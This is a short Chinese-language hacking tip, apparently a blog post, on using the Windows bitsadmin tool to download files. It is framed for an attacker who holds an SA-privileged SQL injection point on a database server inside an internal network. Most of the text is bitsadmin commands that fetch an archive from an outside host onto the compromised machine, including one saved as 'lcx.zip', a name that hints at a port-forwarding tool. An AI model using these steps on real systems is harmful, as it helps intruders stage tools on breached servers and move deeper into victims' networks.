如果你碰到一个Sa权限的注入点，你可以执行dos命令，但是你发现站库分离，数据库和web不在一个服务器上，而且悲剧的是数据库服务器又是个内网，这个时候你该怎么办？

这里就需要用到Bitsadmin来下载东西进去了，在windows08上测试成功了。

1、bitsadmin /rawreturn /transfer getfile http://download.sysinternals.com/files/PSTools.zip c:\p.zip

2、bitsadmin /rawreturn /transfer getpayload http://download.sysinternals.com/files/PSTools.zip c:\p.zip

3、bitsadmin /transfer myDownLoadJob /download /priority normal "http://download.sysinternals.com/files/PSTools.zip" "c:\p.zip"

  第3条命令带进度条

4、多条命令

bitsadmin /create myDownloadJob

bitsadmin /addfile myDownloadJob http://download.sysinternals.com/files/PSTools.zip c:\lcx.zip

bitsadmin /resume myDownloadJob

bitsadmin /info myDownloadJob /verbose

bitsadmin /complete myDownloadJob

使用Bitsadmin 命令下载文件